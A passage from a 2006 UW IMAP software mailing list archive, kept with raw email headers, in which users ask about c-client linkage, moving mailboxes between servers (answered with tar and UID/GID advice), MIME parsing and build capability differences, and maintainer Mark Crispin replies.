accounts that are not working - but I've been unable to > get it figured out. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Feb 23 09:06:38 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 23 Feb 2006 09:06:38 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6b8N023246 for ; Thu, 23 Feb 2006 09:06:37 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6a92013665 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Feb 2006 09:06:37 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6W4r009467 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 23 Feb 2006 09:06:32 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6We8020700; Thu, 23 Feb 2006 09:06:32 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6UPD020687; Thu, 23 Feb 2006 09:06:30 -0800 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6UeP026936 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Feb 2006 09:06:30 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH6JFf020970 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 23 Feb 2006 09:06:19 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k1NH67OT004458 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 23 Feb 2006 09:06:09 -0800 Date: Thu, 23 Feb 2006 09:06:06 -0800 (PST) From: Mark Crispin To: Hatem El Hannachi In-Reply-To: <7FEBB30F0CE41B419B38295024A58EE34D63B9@oxygen.mail.telnet.tunis> Message-ID: References: <7FEBB30F0CE41B419B38295024A58EE34D63B9@oxygen.mail.telnet.tunis> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: UW IMAP Software Interest List Subject: [Imap-uw] Re: [Imap-protocol] Problem in receiving mail using imap X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu For future reference, please send questions involving the UW IMAP software to the imap-uw mailing list. The imap-protocol mailing list is for questions dealing with the IMAP protocol architecture and not for software questions. Thank you. There are several problems. First, you MUST NOT call mail_link() directly, and especially you should not do it in a subroutine. Instead, at the very start of your main() function, you should have: #include "linkage.c" It is unpredictable what would happen if you fail to use the proper linkage.c, or if you call mail_link() for the same driver multiple times. Second, I observe that you are doing: //reouverture l_mstream=mail_open(l_mstream,g_a_cOpenMailString,T); //raifraichissement l_mstream=mail_open(l_mstream,g_a_cOpenMailString,T); immediately after the mail_expunge() call. I don't know why these statements are there, but they are definitely wrong. Also note that in POP3, the action of an expunge does not actually happen until a proper close. That is because the POP3 protocol does not remove messages until QUIT time. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Mar 1 17:02:29 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Mar 2006 17:02:29 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212TAP024352 for ; Wed, 1 Mar 2006 17:02:29 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212SUP021184 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 1 Mar 2006 17:02:28 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212Ng3015289 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Mar 2006 17:02:23 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212NBE028924; Wed, 1 Mar 2006 17:02:23 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212M4m028916 for ; Wed, 1 Mar 2006 17:02:22 -0800 Received: from scully.shockmedia.nl (virtual.scully.shockmedia.nl [83.98.131.10]) by mxe7.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k2212Jef008936 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Wed, 1 Mar 2006 17:02:21 -0800 Received: from xeonie (adsl-dc-2fc99.adsl.wanadoo.nl [83.116.154.153]) by scully.shockmedia.nl (8.12.3/8.12.3) with SMTP id k2212I4l013753 for ; Thu, 2 Mar 2006 02:02:18 +0100 Message-ID: <025001c63d95$59f50890$9600000a@xeonie> From: "Arjan" To: Date: Thu, 2 Mar 2006 02:04:32 +0100 MIME-Version: 1.0 X-Priority: 3 X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook Express 6.00.2900.2670 X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2670 X-Uwash-Spam: Gauge=XX, Probability=20%, Report='BASE64_ENC_TEXT 2.303, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __HAS_MSMAIL_PRI 0, __HAS_X_MAILER 0, __HAS_X_PRIORITY 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] moving mailbox to another server - mailbox empty X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1162976408==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu --===============1162976408== Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: base64 SSdtIHJ1bm5pbmcgdXctaW1hcCBvbiAyIHNlcnZlcnMsIGkgd2FudCB0byANCm1vdmUgYW4gbWFp bGJveCBmcm9tIHNlcnZlciAxIHRvIHNlcnZlciAyLiBJIA0KaG9wZWQgaSBjb3VsZCBqdXN0IGNv cHkgYWxsIHRoZSBmaWxlcyBpbiB0aGUgDQp1c2VycyBob21lZGlyZWN0b3J5IGFuZCBpdCB3b3Vs ZCB3b3JrOyBidXQgDQppdCBkb2Vzbid0Lg0KDQpIb3dldmVyIGl0IHNob3dzIGFsbCB0aGUgbWFw cyB0aGF0IHVzZXIgDQpjcmVhdGVkLCBpdCBkb2Vzbid0IHNob3cgYW55IG1lc3NhZ2VzIGluIA0K dGhvc2UgbWFwcy4gV2hlbiBpIHNlbnQgYW4gbmV3IG1lc3NhZ2UsIGl0IA0KZG9lcyBhcHBlYXIg aW4gdGhlIGluYm94LCBidXQgaSBjYW4ndCBtb3ZlIA0KaXQgdG8gYW55IG9mIHRoZSBtYXBzOyBp dCBnaXZlcyB0aGUgZXJyb3IgDQonW1RSWUNSRUFURV0gVUlEIENPUFkgZmFpbGVkOiBObyBzdWNo IA0KZGVzdGluYXRpb24gbWFpbGJveCcuDQoNCkkndmUgY2hlY2tlZCB0aGUgcmlnaHRzIGV0YyBh bmQgZXZlcnl0aGluZyANCnNlZW1zIG9rLiBDb3VsZCBhbnlvbmUgaGVscCBtZSB3aXRoIHRoaXM/ DQo= --===============1162976408== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============1162976408==-- From pinedev@shivax2.cac.washington.edu Wed Mar 1 17:48:16 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 1 Mar 2006 17:48:16 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221mG5M026815 for ; Wed, 1 Mar 2006 17:48:16 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221mELx019069 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 1 Mar 2006 17:48:14 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221mA1W025278 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 1 Mar 2006 17:48:10 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221mAHa002173; Wed, 1 Mar 2006 17:48:10 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221m8xa002165 for ; Wed, 1 Mar 2006 17:48:08 -0800 Received: from smtp01.mrf.mail.rcn.net (smtp01.mrf.mail.rcn.net [207.172.4.61]) by mxe2.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k221leJ3017675 for ; Wed, 1 Mar 2006 17:48:07 -0800 Received: from 207-172-91-24.c3-0.gth-ubr1.lnh-gth.md.cable.rcn.com (HELO [192.168.100.150]) ([207.172.91.24]) by smtp01.mrf.mail.rcn.net with ESMTP; 01 Mar 2006 20:47:40 -0500 X-IronPort-AV: i="4.02,158,1139202000"; d="scan'208,217"; a="172938565:sNHT43370138" Message-ID: <44064EBB.1070706@starpower.net> Date: Wed, 01 Mar 2006 20:47:39 -0500 From: Tom Cooper User-Agent: Mozilla Thunderbird 0.6 (Macintosh/20040502) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Arjan Subject: Re: [Imap-uw] moving mailbox to another server - mailbox empty References: <025001c63d95$59f50890$9600000a@xeonie> In-Reply-To: <025001c63d95$59f50890$9600000a@xeonie> X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __HAS_MSGID 0, __MIME_HTML 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __TAG_EXISTS_HTML 0, __USER_AGENT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0556982236==" Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu This is a multi-part message in MIME format. --===============0556982236== Content-Type: multipart/alternative; boundary="------------010709050503030409080400" This is a multi-part message in MIME format. --------------010709050503030409080400 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Arjan wrote: >I'm running uw-imap on 2 servers, i want to >move an mailbox from server 1 to server 2. I >hoped i could just copy all the files in the >users homedirectory and it would work; but >it doesn't. > >However it shows all the maps that user >created, it doesn't show any messages in >those maps. When i sent an new message, it >does appear in the inbox, but i can't move >it to any of the maps; it gives the error >'[TRYCREATE] UID COPY failed: No such >destination mailbox'. > >I've checked the rights etc and everything >seems ok. Could anyone help me with this? > > Hmmm. This *should* work. I'm betting it's not an imap issue, but rather a file permissions/ownership issue. Please note that I'm *not* an expert with imap, but I do know my way around a unix box (a little.) When you moved the home directory, how did you do it? I recommend that you do the following... We'll assume that the directory is something like: /home/joe and the directory large enough to hold Joe's files is in /usr/local/bigdisk As root, # cd /home # tar -cvf /usr/local/bigdisk/joes_homedir.tar /home/joe Once the tar completes, nfs/smb/scp/sftp/ftp the tar file (in binary mode) to box 2. As root on box #2, where home dirs are in /home and the source is again in /usr/local/bigdisk # cd / # tar -tvf /usr/local/bigdisk/joes_homedir.tar | more This will confirm whether the tar file you created has the full path, and whether the version of tar you're using strips the leading / character. This is important, particularly when you're moving from one flavor of unix to another, or when the destination directory tree is different from the source tree. Break out of more (hit C) If the path is what you expected, then run this # tar -xvf /usr/local/bigdisk/joes_homedir.tar This approach will preserve file date and time stamps, ownership and file permissions, and will grab files which begin with . It's the way that I remember the tar command, and it works remarkably consistently on lots of unix variants. The other thing to check is to make sure that Joe has the same UID on both boxes, and make sure that the GID is the same on both as well. If it's not either fix that or chown and chgrp -R the files. I recommend the former. :) Hope this helps. Regards, Tom Cooper >------------------------------------------------------------------------ > >_______________________________________________ >Imap-uw mailing list >Imap-uw@u.washington.edu >https://mailman1.u.washington.edu/mailman/listinfo/imap-uw > > --------------010709050503030409080400 Content-Type: text/html; charset=us-ascii Content-Transfer-Encoding: 7bit Arjan wrote:
    I'm running uw-imap on 2 servers, i want to 
move an mailbox from server 1 to server 2. I 
hoped i could just copy all the files in the 
users homedirectory and it would work; but 
it doesn't.

However it shows all the maps that user 
created, it doesn't show any messages in 
those maps. When i sent an new message, it 
does appear in the inbox, but i can't move 
it to any of the maps; it gives the error 
'[TRYCREATE] UID COPY failed: No such 
destination mailbox'.

I've checked the rights etc and everything 
seems ok. Could anyone help me with this?
    Hmmm.  This *should* work.  I'm betting it's not an imap issue, but rather a file permissions/ownership issue.  Please note that I'm *not* an expert with imap, but I do know my way around a unix box (a little.)

    When you moved the home directory, how did you do it?  I recommend that you do the following...

    We'll assume that the directory is something like:
    /home/joe
    and the directory large enough to hold Joe's files is in

    /usr/local/bigdisk

    As root,
    # cd /home
    # tar -cvf /usr/local/bigdisk/joes_homedir.tar /home/joe

    Once the tar completes, nfs/smb/scp/sftp/ftp the tar file (in binary mode) to box 2.

    As root on box #2, where home dirs are in /home and the source is again in /usr/local/bigdisk

    # cd /
    # tar -tvf /usr/local/bigdisk/joes_homedir.tar | more
    This will confirm whether the tar file you created has the full path, and whether the version of tar you're using strips the leading / character.  This is important, particularly when you're moving from one flavor of unix to another, or when the destination directory tree is different from the source tree.

    Break out of more (hit <CTRL> C)

    If the path is what you expected, then run this
    # tar -xvf /usr/local/bigdisk/joes_homedir.tar

    This approach will preserve file date and time stamps, ownership and file permissions, and will grab files which begin with .
    It's the way that I remember the tar command, and it works remarkably consistently on lots of unix variants.

    The other thing to check is to make sure that Joe has the same UID on both boxes, and make sure that the GID is the same on both as well.  If it's not either fix that or chown and chgrp -R the files.  I recommend the former. :)

    Hope this helps.

    Regards,
    Tom Cooper

    
_______________________________________________
Imap-uw mailing list
Imap-uw@u.washington.edu
https://mailman1.u.washington.edu/mailman/listinfo/imap-uw

    --------------010709050503030409080400-- --===============0556982236== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw --===============0556982236==-- From pinedev@shivax2.cac.washington.edu Thu Mar 2 05:44:10 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Mar 2006 05:44:10 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22DiAU5028455 for ; Thu, 2 Mar 2006 05:44:10 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22Di9sS022115 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 2 Mar 2006 05:44:09 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22Di5bc021635 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Mar 2006 05:44:06 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22Di54p017742; Thu, 2 Mar 2006 05:44:05 -0800 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22Di4rQ017734 for ; Thu, 2 Mar 2006 05:44:04 -0800 Received: from buggy.frogspace.net (buggy.frogspace.net [64.6.240.2]) by mxe5.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22Di3Ir014255 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Thu, 2 Mar 2006 05:44:03 -0800 Received: from cpe-144-137-23-56.vic.bigpond.net.au ([144.137.23.56] helo=[192.168.0.5]) by buggy.frogspace.net with esmtp (Exim 4.44) id 1FEo66-0000m3-4v for imap-uw@u.washington.edu; Thu, 02 Mar 2006 05:44:02 -0800 Message-ID: <4406F6A0.1080209@blacksheepsoftware.com.au> Date: Fri, 03 Mar 2006 00:44:00 +1100 From: Brad Goldsmith User-Agent: Mozilla Thunderbird 1.0.7 (X11/20051013) X-Accept-Language: en-us, en MIME-Version: 1.0 To: imap-uw@u.washington.edu Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-SA-Exim-Connect-IP: 144.137.23.56 X-SA-Exim-Mail-From: brad@blacksheepsoftware.com.au X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0, __USER_AGENT 0' Subject: [Imap-uw] Parsing multipart mime messages with c-client? X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi All, I have a project requirement that needs to be able to parse a multipart mime message to be able to pick out the attachments, process them and them put them back again. Would c-client fit the bill for this kind of job? Sorry to ask a bit of a lazy question but I am hoping the list here can point me in the direction of some examples or offer some general advice regarding suitability. I've trawled through the archives and also had a bit of a play with mtest and it looks promising so far. Thanks, Brad _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Thu Mar 2 09:07:01 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Thu, 2 Mar 2006 09:07:01 -0800 (PST) Return-Path: Received: from mx4.cac.washington.edu (mx4.cac.washington.edu [140.142.33.17]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H71st006447 for ; Thu, 2 Mar 2006 09:07:01 -0800 Received: from mxout5.cac.washington.edu (mxout5.cac.washington.edu [140.142.32.135]) by mx4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H704j031182 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 2 Mar 2006 09:07:00 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout5.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6ulV008329 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Thu, 2 Mar 2006 09:06:56 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6uf7031230; Thu, 2 Mar 2006 09:06:56 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6tS4031221 for ; Thu, 2 Mar 2006 09:06:55 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mxi1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6svW029427 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Thu, 2 Mar 2006 09:06:55 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6sWk015427 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 2 Mar 2006 09:06:54 -0800 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k22H6rrN021929 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 2 Mar 2006 09:06:53 -0800 Date: Thu, 2 Mar 2006 09:06:52 -0800 (PST) From: Mark Crispin To: Brad Goldsmith Subject: Re: [Imap-uw] Parsing multipart mime messages with c-client? In-Reply-To: <4406F6A0.1080209@blacksheepsoftware.com.au> Message-ID: References: <4406F6A0.1080209@blacksheepsoftware.com.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Fri, 3 Mar 2006, Brad Goldsmith wrote: > I have a project requirement that needs to be able to parse a multipart mime > message to be able to pick out the attachments, process them and them put > them back again. > Would c-client fit the bill for this kind of job? I don't know what you mean by "process them and the[n?] put them back together again". c-client is certainly capable of parsing an arbitrarily complex multipart MIME message and return a tree-structured representation of the MIME structure. Having that tree structure, you can calculate IMAP-style body part specifier; and a different c-client function can retrieve the desired part from the overall message. mtest demonstrates how you calculate the body part specifier from the tree structure. c-client is not the most complex API out there; in fact it is a gem of simplicity compared to OpenSSL, GSSAPI, or any Microsoft API. Nevertheless, it isn't trivial either. My entire purpose for writing c-client was that I process email, including MIME, in multiple programs; and I really didn't want to write the same code to do the same tasks over and over again. -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Sun Mar 5 19:40:34 2006 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 5 Mar 2006 19:40:34 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eYiN030647 for ; Sun, 5 Mar 2006 19:40:34 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eX7C023873 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Sun, 5 Mar 2006 19:40:33 -0800 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eTkW025542 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 5 Mar 2006 19:40:29 -0800 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eSEA032329; Sun, 5 Mar 2006 19:40:28 -0800 Received: from mxe4.u.washington.edu (mxe4.u.washington.edu [140.142.33.15]) by mailman1.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eSCa032309 for ; Sun, 5 Mar 2006 19:40:28 -0800 Received: from daleenterprise.com (daleenterprise.com [67.78.11.229]) by mxe4.u.washington.edu (8.13.5+UW05.10/8.13.5+UW05.09) with ESMTP id k263eRaJ028001 for ; Sun, 5 Mar 2006 19:40:27 -0800 Received: from localhost (localhost [127.0.0.1]) by daleenterprise.com (Postfix) with ESMTP id 1437D7B3849 for ; Sun, 5 Mar 2006 22:40:27 -0500 (EST) Received: from daleenterprise.com ([127.0.0.1]) by localhost (daleenterprise.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 14025-10 for ; Sun, 5 Mar 2006 22:40:26 -0500 (EST) Received: from [10.1.100.11] (relay.mustangrestomods.com [67.78.11.226]) by daleenterprise.com (Postfix) with ESMTP id 60D9D7B3843 for ; Sun, 5 Mar 2006 22:40:26 -0500 (EST) Mime-Version: 1.0 (Apple Message framework v746.2) Content-Transfer-Encoding: 7bit Message-Id: <3D0383B2-6D42-4706-8C45-693B42FC849E@daleenterprise.com> Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed To: imap-uw@u.washington.edu From: BuildSmart Date: Sun, 5 Mar 2006 22:40:25 -0500 X-Mailer: Apple Mail (2.746.2) MTA-Interface: amavisd-new-2.3.3 (2005-08-22) + Maia Mailguard 1.1.0 at daleenterprise.com X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __HAS_X_MAILER 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] build issues X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Im in the process of creating a new mail server, I've been trying to build uw-imap and while I can build successfully, I'm not getting the expected results. an older working install on * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] macftphttp.serverbox.org IMAP4rev1 2003.347 at Sun, 5 Mar 2006 22:14:17 -0500 (EST) current build gives: * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS LOGINDISABLED] mustangrestomods.com IMAP4rev1 2004.357 at Sun, 5 Mar 2006 22:35:47 -0500 (EST) Because I'm using a newer OS version the older binaries don't work so building is a must. I am able to build the binaries in newer the newer OS to be OS backward compatible 